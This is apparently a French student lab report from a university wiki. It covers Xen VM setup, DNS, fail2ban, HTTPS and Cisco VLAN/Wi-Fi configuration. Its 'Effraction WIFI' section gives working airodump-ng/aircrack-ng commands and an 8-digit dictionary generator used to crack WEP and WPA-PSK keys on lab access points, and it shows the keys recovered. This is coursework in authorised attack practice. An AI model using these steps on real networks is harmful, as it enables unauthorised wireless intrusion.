&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Modification du fichier &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt; (il faut '''commenter''' tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour '''restart''' le service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Fail2ban ==&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; dans le dossier &amp;lt;code&amp;gt;/etc/fail2ban&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans &amp;lt;code&amp;gt;fail2ban.conf&amp;lt;/code&amp;gt; (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour '''lancer le service''' il faut rentrer la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTTPS ==&lt;br /&gt;
Dans le dossier &amp;lt;code&amp;gt;/etc/apache2/sites-available&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On met la clef '''deadpool.tech.key''' et les certificats '''GandiCert.pem''' et '''deadpool.tech.crt''' (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les commande suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Effraction WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
'''/!\''' Dans notre cas la carte réseau de notre zabeth ne fonctionnait plus (ce cas est courant).&lt;br /&gt;
&lt;br /&gt;
Mr Redon nous a donc fournit une '''clé USB Wifi''' pour pouvoir travailler. &lt;br /&gt;
&lt;br /&gt;
De plus les cracotte s'arrête au 13 donc je dois prendre la '''cracotte02'''.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d''''identifier l'interface WIFI''' qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Vlan ==&lt;br /&gt;
&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12268</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12268"/>
		<updated>2026-02-15T11:31:53Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
